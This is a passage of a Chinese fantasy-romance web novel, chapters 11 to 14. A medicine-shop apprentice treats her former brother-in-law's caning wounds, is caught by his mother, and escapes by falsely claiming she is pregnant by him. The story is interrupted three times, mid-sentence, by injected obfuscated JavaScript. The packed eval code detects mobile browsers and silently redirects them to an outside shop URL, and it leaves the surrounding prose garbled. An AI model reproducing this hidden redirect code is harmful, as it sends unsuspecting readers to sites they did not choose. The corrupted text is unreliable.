戴纾语下意识蹙眉,投向他的眼神里满是不悦,“事情没办妥,你来找我做什么?找打吗?” 说罢,她猛地用力推了一把蔺星斓,转身就要往药铺里去。 “别着急嘛!”蔺星斓勉力站稳身形,连忙伸出手去拉她袖口,“嫂嫂,你说你,太容易冲动了,我话还没说完呢!你便给我判了死刑。” “有话快说!”戴纾语的耐心将要耗尽了。 蔺星斓环顾一下四周,随即附在戴纾语耳畔低语道:“我从一个同僚那里打听到了,此案交由刑部负责,当天带人去办案的是——” 听到这里,戴纾语心下了然,难怪她提及自己遇到傀儡时,司徒夫人是那样一副反应。 正思忖间,一道陌生的嗓音骤然从身后传来,“二公子,镇抚使大人命属下来传话。” “二公子不分场合,在大街上与一女子拉拉扯扯,屡教不改,回府后以家法伺候。” 不容他回应,那名明镜司的百户便转身离开了。 蔺星斓瞠目结舌,指了指那人的背影,又指了指自己,不禁嗔怪道:“都怪你!为了给你办事,我被兄长训斥还不够,如今更是要以家法伺候!” “这是我们之间的约定,不能怪我。”戴纾语不以为然,理直气壮地说,“怪只怪你出门不看黄历,流年不利。” 11. 11 次日,辰时刚过,戴纾语早早地出门了。打算绕道去方阿婆的摊子用完早点,再往百草堂去。 经过蔺星斓的院子时,忽地听见里面传来哀嚎之声。戴纾语脚步一滞,好奇心顿起,侧耳聆听片刻,哀嚎声消失了。 她小心翼翼地环顾一下四周,确认没有旁人在,遂攀上倚着院墙而长的歪脖子柳树,翻墙进了蔺星斓的院子。 刚来到门口,房间里骤然响起杯盘摔落的声音,戴纾语心里愈发好奇,遂放轻步伐绕到窗户旁,透过半敞着的窗子往里看。 只见蔺星斓趴在床榻上,口中哼哼唧唧不知说些什么。屋子里站了一排小厮,纷纷耷拉着脑袋不敢吱声。 “谁在外面?”蔺星斓侧目朝窗户的方向看来,正撞见戴纾语推开窗往里探头。 “你——你怎么来了?”他一时心急,欲从榻上起身,岂料翻身时臀部蹭到床榻,疼得他脸色都变了。 “你生病了?”戴纾语疑惑地将他上下打量着。 蔺星斓屏退了小厮,咬牙切齿道:“都是因为你,昨夜兄长以家法伺候,命人打了我二十大板,下榻都费劲。” 听得戴纾语瞠目结舌,“真打啊!”昨日蔺清辉命人传话时,她只当是吓唬蔺星斓来着。 闻言,蔺星斓面上的不悦将要满溢出来,“你瞧瞧我这副样子,像是假的吗?” “不像。”戴纾语若有所思,“不过,倒是能看出来,你是真体虚,打几板子就下不来床了。” “戴纾语!”蔺星斓险些气昏过去,“你个没良心的!不关怀慰问便罢了,竟然幸灾乐祸、落井下石!” “真有那么严重?”戴纾语实在不敢置信。 “皮开肉绽。”蔺星斓夸大其词,企图让戴纾语心生愧疚,遂继续卖惨,“兄长让我告假在家养伤,又交代下人不许请大夫,道是让我疼一疼清醒清醒。” “不愧是亲兄长。”戴纾语不禁唏嘘,“那——要我帮你看看伤口吗?” “你想做什么?”蔺星斓登时警觉起来。 “你想什么呢?”见他一副如临大敌的模样,戴纾语禁不住笑出声来,“我是药铺学徒,算得半个大夫,帮你检查一下伤口,万一留疤了影响美观。” “大可不必。”蔺星斓毅然拒绝了,“我可没有奇怪的癖好。” “行吧!”戴纾语转身就往门口的方向去,“你好生养伤,我用早点去了。” “我都这样了,你还有心思用早点!”蔺星斓愤愤地说,“你的良心被狗吃了吗?” “不然呢?”戴纾语转过脸来看他,“你不让我检查伤势,我留下没有任何意义。” “等等!”蔺星斓想要翻身,稍一动弹就觉得屁股要开花了,只得叫住戴纾语,“帮我翻个身。” 戴纾语强忍住笑意,快步来到床榻前,将人翻了个身,“好受些了吧?” “死不了!”蔺星斓咬紧牙关,唯恐一个没忍住疼得在戴纾语面前呻吟出声。 “那我走了。”戴纾语朝他挥了挥手,“晚点给你带疗伤的灵药回来。” 听了这话,蔺星斓紧皱的眉头渐渐舒展开来,心底忽而生出一种这二十大板没有白挨的诡异感觉。 初夏时节,天气略显闷热。 药铺今日分外繁忙,原定酉时下值,戴纾语处理完最后一名中蛊的病患,酉时已过半,她洗净满手血污,问司徒潋要了一盒疗愈叶,忙不迭往药铺外走。(1) 时值夏日,天色依然亮堂,有司徒潋给的防御符护身,戴纾语只身往回走,并未觉得害怕。 回到蔺府,她第一时间往蔺星斓住的院子去,照例翻墙爬了进去。 “蔺星斓,我给你送灵药来了。”她轻轻叩了几下房门,得到允许后才推门而入。 蔺星斓朝她身后瞥了眼,并未见到守夜的小厮,“你又翻墙进来?” 戴纾语从药匣子里取出疗愈叶,一本正经地说:“我身份特殊,跟你见面最好不要让旁人瞧见,免得坏了你的名声。” 闻得此言,蔺星斓只觉匪夷所思,“你翻墙进屋跟我见面,传出去名声便好了?”末了不忘提醒一句,“稍后离开时,莫要翻墙,会被当作异类抓起来的。” “没人看见。”戴纾语来到床榻前,“裤子脱掉,我帮你上药。” “你说什么?”蔺星斓微微瞪大双眼,扭过头来看她。 “脱裤子,上药,哪个字听不懂?” “不行。”蔺星斓坚决不同意,“哪有一个姑娘家给男人那个地方上药,不妥。” 闻言,戴纾语在原地怔愣片刻,兀自说:“我一个学医的,什么没见过?不就是男人的屁股,有什么稀奇!” 蔺星斓耳根腾地红了,支支吾吾道:“你——当真看过很多男人的臀部?” “见过不少。”戴纾语脸不红心不跳,“学医的必经之路。” 蔺星斓心里本就别扭得厉害,此刻闻言,更是难以接受,他移开视线,声如蚊蝇,“男女授受不亲,劳烦你唤菘蓝进屋帮我上药。” “上不上?”戴纾语略显不耐烦。 蔺星斓坚持,“不上!” “矫情!”戴纾语将疗伤的灵药搁在桌案上,转身出了房门。 须臾,菘蓝跟在她身后进了屋,交代清楚疗愈叶的用法用量,戴纾语作势离开。 刚迈出去几步,就听蔺星斓在身后喊道:“离开时走正门,翻墙爬窗会被当作异类抓起来。你谨慎些!” 戴纾语不置可否,径直抬脚迈出门去,房门在身后缓缓阖上,蔺星斓鬼哭狼嚎的声音紧跟着从屋内传来。 “下手轻点,你想疼死我吗?” “二公子,属下从未为人上过药,您可真是为难我了。”菘蓝犯难了,“要不,让戴姑娘回来帮您上药?” “闭嘴!嘶——”许是意识到了什么,呻吟声戛然而止,蔺星斓紧咬双唇,不让痛苦的呻吟溢出半分。 戴纾语哭笑不得,正欲朝正门的方向去,岂料,一只脚刚踏下台阶,就听见门口传来一阵急促而杂乱的脚步声。 “夫人,您慢一点!当心脚下!” “我没事,星斓不知伤成什么样了,快走!” “……” 戴纾语心中一凛,甚感不妙。 据她了解的情况来看,原书男主的母亲对这位前妻颇成见颇深,已至深恶痛绝的地步。 倘若让对方发现她深夜溜进蔺星斓的院子里,不知会闹出什么乱子。 说时迟,那时快,她飞快转身往回走,推开门回到蔺星斓的屋内。 “你怎么回来了?”蔺星斓忙不迭拉过被褥遮住光着的下半身,锦被擦过臀部上的伤口,疼得他声音都变了。 “你母亲来了!”戴纾语像只无头苍蝇般在屋子里转了几圈,视线落在床榻上,来不及多想,她一矮身钻进了床底下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897366|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你——”蔺星斓还想再叮嘱几句,门外骤然响起叩门声,“二公子,夫人来看你了。” “进——进来!”蔺星斓示意菘蓝将锦被往下拉,遮住了床底下的那抹身影。 “星斓,我的儿,你受苦了!”蔺夫人一手捻着佛珠,在贴身丫鬟云苓的搀扶下迈进屋来,随即在床榻前的躺椅上坐下。 望着险些踢到她鼻尖的脚丫子,戴纾语屏住呼吸,努力不让自己发出半点声响。 “母亲,我用过药了,并无大碍。”蔺星斓心不在焉,心里掂量着戴纾语若是被蔺夫人发现,是否有助于他完成任务。 答案是肯定的。 蔺清辉的名声因此毁了,但话又说回来,他的名声也随之毁了。 可谓是伤敌一千,自损八百。 “谁给你用的药?”蔺夫人用绢子擦拭眼泪,哽咽着说,“听闻清辉不让人为你请大夫,好狠的心啊!你们兄弟俩,如何闹成眼下这般局面?” 听到这里,戴纾语意识到对方并不知道她与蔺星斓之间的关系,不由暗自松一口气。 “我——我让菘蓝偷偷溜出去买来的。”说罢,蔺星斓瞪了一眼菘蓝,用眼神示意他把嘴闭好。 蔺夫人长长叹一口气,旋即俯身为蔺星斓掖被角,顺口责骂菘蓝不懂得照顾主子,锦被都掉地上了亦不知道顺手掖回去。 趁对方说话的功夫,戴纾语一寸一寸将掖好的被角往下拽,将自己笼罩在阴影里。 “你用过什么药?让母亲看看伤势,效果可还好?” 蔺星斓始终维持着同一个姿势趴在床榻上,胳膊都枕麻了,只想赶紧将蔺夫人打发走,“一种疗伤的灵药,效果极佳,抹上之后立马能消肿,伤口也不疼了。” “让母亲看看。”蔺夫人不放心地道,说着,就欲起身掀开锦被。 蔺星斓双手紧紧抓住被褥,急道:“母亲,我累了,想早些歇息。” 蔺夫人动作稍顿,随即回过味来,笑道:“你小子,倒是害起臊来了!” “母亲,我当真无碍了,您早些回屋歇息吧!” 见他坚持,蔺夫人只得作罢,随即站起身来,一只手搭在云苓手腕上,缓步往门口的方向去。 房门再次阖上,院子里的脚步声渐渐远去,戴纾语长舒一口气,从床底下探出头来,“憋死我了!” “你快走!”蔺星斓还惦记着自己光着的屁股,不由催促道,“离开时当心些,别让人发现了。” “知道了!”戴纾语理了理揉皱了的衣裳,抬脚就忘门口的方向去。 岂料,刚一推开房门,就对上一张陌生的面容,“二公子,夫人的佛珠落您屋里了。” 话音刚落,前来取佛珠的丫鬟蓦地惊声尖叫起来,“夫人,有异类。” 早已远去的脚步声复又在院子里响起,且越来越急促,蔺夫人在云苓的搀扶下回到屋内,看也不看眼前之人,吩咐道:“拉出去,乱棍打死!” 戴纾语一听就急了,连忙出声解释:“蔺夫人,我不是异类。我是——” 话未说全,径直被对方打断了。 “戴纾语?”蔺夫人明显是吃惊不小,指尖微微颤抖着指向她,“深更半夜,你在我儿的房里作甚?” “我——”情急之下,戴纾语不觉脱口而出一句,“我来帮星斓上药。” 蔺星斓登时张口结舌,投向她的视线里满是不解。 12. 12 不容蔺星斓开口辩解,蔺夫人对着戴纾语劈头盖脸就是一通咒骂。 “你这个不知廉耻的女人,昔日不守妇道,败坏家风,害得清辉沦为旁人眼中的笑柄尚且不够,如今又来糟践我们星斓。你究竟是何居心?” 戴纾语尚有任务在身,无意与蔺夫人闹得太僵,遂心平气和地解释道:“蔺夫人,你莫要误会。我听闻星斓被打伤了臀部,却不能请大夫,特意从药铺取来灵药为他疗伤,并非对他图谋不轨。” 蔺夫人了解这位前妻的为人,更是亲自见证了蔺清辉的遭遇。 眼下认定了戴纾语居心叵测,哪里肯听她解释,兀自说道:“像你这般水性杨花的女人,活着亦是祸害,就该抓去浸猪笼,永世不得翻身。” 眼见形式不妙,蔺星斓忙要起身劝解,刚一拉开锦被,立马意识到自己还光着下半身呢!只得继续趴在榻上,扭过头来望向蔺夫人。 “母亲,您当真是误会了!戴姑娘见我重伤未愈,刻意取来灵药为我疗伤,她亦是一片好心。” 蔺夫人最是溺爱这个小儿子,见他这样一副惨状,心疼不已。听他帮着戴纾语说话,又气不打一处来。 “你们兄弟俩,可是要气死为娘?一个两个为这样一个不知羞耻的女人坏了名声,我们蔺府的脸面往哪里搁啊!” 臀部火燎燎地疼本就叫蔺星斓心烦意乱,此刻被吵得头昏脑胀,耐心将要耗尽了。 他闭了闭眼,把心一横,道:“母亲,戴姑娘并未帮我上药,亦不曾看过我没穿衣裳的样子,我还是清白的。” 此话一出,屋内顿时陷入一片沉寂,丫鬟小厮紧紧咬住嘴唇,唯恐一个没忍住笑出声来,少不了一顿责罚。 蔺夫人双眼瞪得溜圆,紧紧盯着蔺星斓,像是在斟酌他话里的真假,好半晌未说出话来。 听到这里,戴纾语再也憋不住了,禁不住轻笑出声。 她这样一副轻佻的反应,于蔺夫人而言,无异于火上浇油。 “你还笑得出来?”蔺夫人在云苓的搀扶下来到戴纾语跟前,大有将她堵在屋内,不放人离开的意味。 “你成日里不干正经事,一心惦记着我们蔺府的男人,我都替你害臊!” “我没有。”这话戴纾语可不大爱听,不觉脱口而出一句,“至少,我从未惦记过蔺老太爷。” “你——”蔺夫人身形微微后仰,险些径直栽倒在地。 “蔺夫人,你刚进屋时,我便向你解释过,我确实是为蔺星斓送疗伤的灵药来,也有心为他上药。” 戴纾语停顿片刻,接着道:“我学过医术,且在药铺做学徒,为病患上药是我的分内之事,但星斓以男女授受不亲为由,拒绝了。所以,你口中那些龌龊之事,我一件都没做,亦无心去做。” “你还敢狡辩?”蔺夫人气得直喘粗气,云苓立马扶着她在床榻前坐下,又倒来一杯热茶递到她手上。 蔺夫人抿了一口热茶润了润嗓子,继续发挥,“你有心为星斓上药,存了怎样的心思?你心里最是清楚,我心里亦清楚。” 戴纾语冷笑一声,“抱歉,我不是你老人家肚子里的蛔虫,不清楚你心里怎么想的。但我心里坦坦荡荡,问心无愧。” 蔺星斓光着屁股趴在床榻上,躺也不是,起也不是,只得一个劲朝戴纾语使眼色,示意她少说几句。 戴纾语心中不悦,遂恶狠狠地瞪了他一眼,并无要闭嘴的意思。 眼睁睁望着两人于众目睽睽之下眉来眼去,暗流涌动,蔺夫人顿时血压飙升,大有昏厥之兆,遂一把鼻涕一把泪地哭诉起来。 “星斓啊!你是存心想气死为娘啊!你为何要招惹这个女人?是你兄长的下场还不够凄惨吗?你父亲去得早,我独自将你们拉扯长大,你们便是——” “母亲,戴姑娘与我之间清清白白,没有任何见不得人的关系。”蔺星斓心乱如麻,只想尽快了却此事,遂提高音量道,“她到府上借住,是为求兄长跟她复合。” “你说什么?”蔺夫人不由惊呼一声,手中茶杯应声落地,“她住在府上?” 得,越帮越忙! 戴纾语在内心翻了无数个白眼,咬牙切齿道:“赶紧闭嘴吧!” 蔺星斓意识到自己说错话了,无助地望着戴纾语,那神情,像极了一只被主人遗弃的流浪狗。 “戴纾语,你究竟存了怎样的心思?”蔺夫人猛地站起身来,手指几乎戳到戴纾语眼睛里。 “当初将清辉折腾得不像人样,让我们家丢尽颜面!如今说要回来便回来,蔺府可不是任人拿捏的人家。” 说及此处,蔺夫人心中的怒火越烧越旺,大有燎原之势,竟生出了将戴纾语置于死地的心思。 至少,不能让对方有机会继续祸害她的两个儿子。 昔日蔺清辉被人戳脊梁骨的经历至今犹历历在目,她不愿再经历第二次。 正思忖间,屋外传来菘蓝通传的声音:“夫人,家主回来了。” 蔺夫人像是抓住了最后一根救命稻草,神色复杂地扫了一眼戴纾语,遂不再犹豫。 “清辉啊!”蔺清辉一只脚刚踏进屋里,蔺夫人立马便扑了上去,“你若再不回来,蔺府快要让人给搅和散了。” “母亲,”蔺清辉扶着她在躺椅上坐下,皱着眉头打量了一圈屋内的人,“究竟发生了何事?” “你怎么能同意这个女人住到府上来啊?”蔺夫人一面用绢子擦拭眼泪,哭哭啼啼地道,“她是怎样的人你还不清楚吗?” 蔺清辉眉头皱得更深了,“母亲,戴姑娘遇到难处,在府上借住,过些时日便会离开。” 见状,蔺星斓趁热打铁,“母亲,如今戴姑娘在一家药铺做学徒,是正经营生,过些时日便会搬出去,不会赖在蔺府不走。” 蔺夫人看了看蔺星斓,又回头看了看蔺清辉,眼神里满是失望与委屈。 “她说借住,你们便信了?她说会搬走,你们亦信了?她给你们下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897367|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么药,你们竟如此信她!” 这场闹剧,竟有愈演愈烈的趋势,戴纾语终于听不下去了。 “蔺夫人,事实便是如此,你信也好,不信也罢。我确实对他们兄弟俩没有恶意。” “这个女人!”蔺夫人指着戴纾语,咬牙切齿道,“我怀疑她是异类,专为祸害蔺府而来。如今她搅和得蔺府不得安生,往后不知会闹出多大的乱子来。” “清辉啊!你把她抓进明镜司,关进诏狱里好生审问一番,千万不能放过任何一条漏网之鱼!若是让天家知晓我们蔺府藏匿异类,那可是要杀头的啊!” 听了这番话,戴纾语立即警觉起来,若是被当作异类关押进北镇抚司的诏狱里,或将小命不保。 届时谈何完成任务,就连回到现实世界也终将沦为泡影。 “蔺夫人,”戴纾语面露委屈,声音亦哽咽了,“您老人家怎么能血口喷人呢?我跟清辉一起生活了那些年,我是怎样的人,他还不清楚吗?” “清辉,”戴纾语望向蔺清辉,眼眶也湿润了,“我是不是异类,你是最清楚不过的。” “母亲,此事我会探查清楚。时候不早了,您先回屋歇息吧!” 蔺夫人坐着不动,更没有要离开的意思,好容易得来的机会,不把戴纾语赶出蔺府,让她没有翻身的余地,蔺夫人不会善罢甘休。 “你可是对她旧情未了?” “没有。”蔺清辉皱眉,“母亲,您误会了。捉拿异类需讲究凭据,并非只言片语便能定罪。” “你把她带走,关押进诏狱里审问。不然,”蔺夫人蓦地站起身来,就要往墙角撞去,“不然我就不活了!” “母亲!”蔺清辉飞快将人拦下,“您这是何苦呢!” “我不能眼睁睁望着这个女人毁了蔺府啊!”蔺夫人突然嚎啕大哭起来。 蔺夫人这是要治她于死地,饶是戴纾语再迟钝,亦看出苗头来了。 眼前的情形,再继续下去,只会对她不利,亦愈发难以收场。 戴纾语搜肠刮肚,只琢磨出一个堪称下下策的馊主意来。 “蔺夫人,您不要赶我走好不好?”戴纾语不由低声啜泣道,“我——我如今已怀有身孕,倘若离开蔺府,定会被债主捉去,届时只有死路一条。” 说罢,她径直来到蔺夫人跟前,伸出手去攥住她袖口,声泪俱下,“一尸两命,您老人家忍心吗?” “什么?”这消息恰似晴天霹雳,惊得蔺夫人腾地从椅子上站起身来。她呆呆地望着戴纾语,好半晌没能够说出一句完整的话来。 屋内众人纷纷将视线落在戴纾语身上,或好奇,或震惊,抑或欲从她脸上探出事实的真相。 不容对方追问,戴纾语继续添了一把火,自顾自道:“如今闹到这般田地,我亦无心隐瞒,我腹中,已有了我跟星斓的孩子。” 蔺星斓尚且趴在床榻上犯愁,闻言转过脸来怔怔地望着戴纾语,不由心惊肉跳。 13. 13 “星斓的孩子?”蔺夫人将信将疑,不由提高音量质问道,“你为何一开始不提及此事?反而撇清与星斓之间的关系?” 戴纾语敛眸,放低声音道:“蔺夫人,我不想给星斓造成困扰,也无意让他为难。毕竟,我曾是清辉的妻子,是星斓的嫂嫂。” “厚颜无耻!”蔺夫人气得浑身直抖,面目随之变得狰狞,“你还记得自己曾是星斓的嫂嫂,你跟他——你跟他眉来眼去、拉拉扯扯的时候,怎么不记得自己是何种身份?” “蔺夫人,感情这种事,谁又说得清楚呢?”说罢,戴纾语望向蔺星斓,眼神里的情绪晦暗不明,“相信星斓与我一样,亦是情不自禁。” 蔺星斓不禁呆住了,眼前这女人混淆视听,说起谎来脸不红心不跳,连眼皮都不眨一下。 若非他知晓事情的真相,此刻定会如房内其余人一样,被她牵着鼻子走,蒙在鼓里。 “母亲,兄长,”蔺星斓骑虎难下,只得硬着头皮顺着戴纾语的话茬往下说,“是我不知规矩,道德败坏,在兄长同嫂嫂和离后,与她暗通款曲。千错万错,都是我的错,请不要怪罪于戴姑娘。” “老天爷啊!”蔺夫人呼吸急促,再次嚎啕大哭起来,“这都是造了什么孽啊!” 蔺清辉黑沉着脸,审视的目光落在戴纾语身上,“戴姑娘,你说怀有身孕,可有凭据?” 蔺夫人的啼哭声戛然而止,蔺清辉这番话倒是提醒她了。 眼前之人惯会玩弄男人,糊弄人的话一向是张口就来,极有可能假借怀有身孕在蔺府赖着不走。 思及此,蔺夫人收起眼泪,吩咐道:“清辉,派人去请几名大夫到府上来,我倒要看看,这位戴姑娘怀有身孕是真是假。” 闻言,戴纾语心下大惊。 事发突然,她来不及做足万全的准备,此刻绞尽脑汁,亦没能够琢磨出应对之策。 随即,她暗自朝蔺星斓使眼色,向他求助。 蔺星斓瞪了她一眼,无奈地叹气,遂望向蔺夫人,眼神里不乏忧虑之色。 “母亲,时候不早了,惊动大夫不大妥当,若是让外人瞧见了,只当我们蔺府发生了何等了不得的大事。待明日天亮了,再去请大夫也不迟。” 唯恐错失良机,戴纾语赶紧顺杆爬,“蔺夫人,我人就住在府上,不会擅自离开。今日大家都累了,还请早些回屋歇息。” “母亲,我也乏了,想早些歇息。”蔺星斓转过脸去,声音里满是倦意,“伤口也疼得厉害,就让纾语留下来帮我上药吧!” “家门不幸啊!”蔺夫人腾地从椅子上弹起来,“你——你们——存心想要气死我啊!” “蔺夫人,”戴纾语扶着她肩膀往下压,让她在椅子上坐稳了,“我与星斓有了孩子,帮他上药是我分内之事。” 蔺清辉紧紧皱着眉头,几大步来到床榻前,“星斓,此事,你最好能向我解释一二。” 蔺星斓把脸埋进被褥里,翁声瓮气的说:“兄长,事后我自会向你解释清楚。还请兄长劝解母亲,莫要再为难戴姑娘,她腹中已有我蔺家的骨肉,早已不是外人了。” 蔺清辉沉吟片刻,终究没有再多说什么,遂转过身搀扶着蔺夫人离开了。 屋内瞬间安静下来,戴纾语拍了拍胸口,如释重负地舒一口气。 “蔺星斓,”她快步来到床榻前,伸出一根手指戳了戳他脊背,“谢谢你!” 蔺星斓掀开锦被,转过脸来看她,“你当真是——为达目的,不择手段。这种馊主意,亏你想得出来!” “我怕被关押进诏狱里,一时着急,就没想那么多了。”戴纾语顺势在床榻前的躺椅上坐下,语气里满是惋惜,“我与你兄长的情分,如今算是走到尽头了。” 提起这茬,蔺星斓顿时来了兴致,“你为何不说腹中怀有兄长的孩子?岂不是一举两得!” “你的脑子也被家法伺候了?”戴纾语恍若看傻子一般看他,“你兄长会如你一样帮着我扯谎?” “你分明清醒得很嘛!”蔺星斓支起上半身,幸灾乐祸地说,“你亦知道兄长不会帮你,你闹这一出又是何必呢?” “你不懂。”戴纾语态度坚决,“我非要跟他复合不可!” “话说,”蔺星斓突然想起了什么,好奇地打量着戴纾语,“你上次闹着要我带你进诏狱打探情况,眼下大好的机会摆在眼前,你为何退缩了?” “主动进去打探情况,与被当作异类关押进诏狱,能一样吗?” 蔺星斓:“你并非异类,哪怕被关押进诏狱里,很快便能放出来。” 那可不一定!戴纾语小声嘀咕。 “据说诏狱里全是穷凶极恶的异类,我从未见过,心里没底,也不敢随便招惹。” “你连傀儡都敢招惹,居然害怕异类?”蔺星斓略一挑眉,只觉匪夷所思,“接下来你有什么打算?” “什么打算?”戴纾语不解其意。 “腹中的孩子,你打算怎么变出来?”蔺星斓神色凝重,“你骗不过蔺府请来的大夫,他们可不会跟我一样帮着你隐瞒。” “这个不用你操心,我自有办法。”戴纾语兀自站起身来,指了指他臀部的位置,“你用过疗伤的灵药,为何还不能下床?” 蔺星斓面有难色,“你送来的灵药药效奇差,伤势并无好转。” “不应该啊!”戴纾语下意识蹙眉,“疗愈叶碾碎后涂抹于患处,能快速愈合肉身损伤。让我看看!” “你做什么?”蔺星斓将被她掀开一角的锦被压了回去,“男女授受不亲,你好歹是个姑娘家!” “我将来是要做大夫的,不认男女授受不亲这一套歪理。再说,你趴在榻上连翻身都困难,不难受吗?” 难受! 蔺星斓明显地迟疑了一下,遂把心一横,道:“大夫,劳烦你帮我看看臀部的伤势如何了。” 戴纾语小心翼翼地掀开锦被,只见蔺星斓光着的臀部上贴着几片还算完整的疗愈叶—— 菘蓝帮他上药的时候并未将疗愈叶碾碎了,而是用手撕成了两半,整整齐齐地铺在受伤的地方。 戴纾语禁不住笑出声来,“蔺星斓,你房里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897368|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这小厮,脑子不太机灵啊!” 她顺手捡起一片叶子,递到蔺星斓面前,“他用叶子把你的伤口遮住了,哈哈哈——” 蔺星斓气得险些当场昏厥过去,草包纨绔的小厮同样是草包! 戴纾语笑得眼泪都快流出来了,“幸而我问师父多要了些灵药,不然,你这伤今日是好不了了。” 说着,她从书案上的药匣子里取出余下的疗愈叶,碾碎了仔细涂抹在蔺星斓被打伤的皮肉上。 不过须臾,溃烂的皮肤渐渐愈合,直至恢复如初。 “痊愈了。”她轻轻拍了一巴掌蔺星斓白皙细腻的臀部,拉过锦被替他盖上了,“怎么感谢我?” “戴纾语!”蔺星斓脸颊腾地红了,咬牙切齿道,“哪个大夫会打病患的屁股?” “我是提醒你该穿裤子了!”戴纾语不怀好意地笑了笑,“你光着屁股搁这儿趴了这样久,不怕着凉吗?” “你——”蔺星斓又羞又恼,伸手一指门口的位置,“你先出去,我起身更衣。” “我看过你光着屁股的样子,”戴纾语微微俯身,附在他耳畔低语道,“蔺星斓,你的身子不清白了。” “你倒是提醒我了!”蔺星斓愤愤地说,“为了帮你遮掩,我撒了多少谎!” 闻得此言,戴纾语立马收起嬉皮笑脸的神色,一本正经地问道:“蔺星斓,你是蔺夫人亲生的吗?” 蔺星斓动作一顿,支支吾吾道:“怎——怎么突然问起这个?” “你们才是一家人,我不过是个外人,你为何不当面拆穿我,反而帮着我隐瞒真相呢?” 蔺星斓移开视线,随口搪塞道:“你是为了帮我送疗伤的灵药,才会被母亲发现,算我欠你的。帮你只是不想欠人情,如此一来,我们便两清了。” “哦——”戴纾语托着腮,半信半疑,“你跟你兄长,感情好吗?” “兄长大我两岁,我们自小一起长大,自是感情深厚。” “你想做蔺家家主吗?” 蔺星斓终于听出点苗头来,“你怀疑我想借你之手,抢走家主之位?” “随便问问。”戴纾语洗干净手,遂收拾起药匣子,转身往屋外走,“我才不信你帮我只是因为不愿欠人情。” “等一下!”蔺星斓系好衣带,掀开锦被下了榻,“怀有身孕一事,你打算怎么办?总得让我这个同伙了解事情接下来的走向吧?” 戴纾语顿住步伐,回过头来看他,“明日一早我去百草堂上值,你帮我说服蔺夫人,晚些时候再请大夫来为我把脉。” “你当真有办法?”蔺星斓不大放心。 “别忘了,我在药铺做学徒,并非寻常药铺,铺子里种类稀有的灵药灵草并不少见。” 听了这话,蔺星斓心下了然,不由追问道:“既是怀有身孕,总会有诞下子嗣的一天,届时你要如何脱身?孩子不会凭空冒出来,你总不能随便捡个孩子来冒充吧?” “放心吧!”戴纾语神秘兮兮地朝他眨了眨眼,“我都想好了,到时候水到渠成,所有困难迎刃而解。” 14. 14 翌日,戴纾语趁下值的时候,问司徒潋要了一味服用后能让女子的脉象呈喜脉的灵药。 司徒潋沉吟片刻,并未多问,遂解开护在药匣子上的防御术法,取出一枚白玉瓷瓶递与她。 “此物服用后会产生不良反应,具体有何种副作用,因人而异,需谨慎为妙。” 戴纾语伸手接过,连忙向她道谢,随即补充了一句:“师父,你放心吧!我曾在古籍上读到过炼制此类灵药的灵草,心里有数。” 话音刚落,阿福慌里慌张从门外跑进来,“师父,明镜司来人了!” 司徒潋神色一沉,语气不善,“他们来做什么?” “探查傀儡一事。”阿福压低声音道。 戴纾语做贼心虚,忙要将药丸往怀里塞,岂料心中慌乱,手一抖,小瓷瓶应声落地,骨碌碌地往门口滚去。 她立马追上去,略微俯身去捡,只见小瓷瓶被人用脚尖抵住。 戴纾语一抬头,恰好撞进蔺清辉晦暗不明的视线里。 “清辉,你在忙公务啊?”她故作镇定,遂捡起小瓷瓶,紧紧握在手心里。 蔺清辉“嗯”了一声,并未多言,径直往柜台的方向走去,“司徒掌柜,”他率先开口,“据下属禀报,司徒掌柜前些时日曾与数名傀儡打过交道,请问——” 余下的话戴纾语并未仔细听,再次谢过司徒潋,她忙不迭转身出了百草堂。 虚惊一场! 戴纾语拍了拍胸口,如释重负,遂将药丸含进嘴里,加快步伐往蔺府的方向去。 夏日午后,气候炎热,迎面扑来的风都带着阵阵湿热的气息。回到居住的院子,戴纾语已然热出了一身薄汗。 一只脚刚踏进院门,只见蔺夫人领着一群丫鬟小厮,以及数名城中有名的大夫等候在院子里。 戴纾语刚露面,众人齐刷刷地抬眼朝她看来。那架势,不像是为了给她号脉,倒像是要押着她上刑场。 “回来了。”蔺夫人率先开口,旋即朝她一扬下巴,示意戴纾语赶紧上前。 戴纾语倒也没怯场,经过众人跟前时,甚至笑吟吟地朝蔺夫人颔首问好。 蔺星斓跟在众人身后,不由为她捏了一把汗。眼下见戴纾语一副从容不迫的模样,心下虽疑惑,却也稍微放下心来。 “戴姑娘,你可有什么话要说?”蔺夫人意有所指,一双狭长的眼眸如鹰隼一般盯着她,试图从她脸上看出点破绽来。 戴纾语摇头,顺势在书案旁坐下,“蔺夫人,请大夫为我诊脉吧!” 蔺夫人收回视线,示意几名大夫轮流为戴纾语号脉。 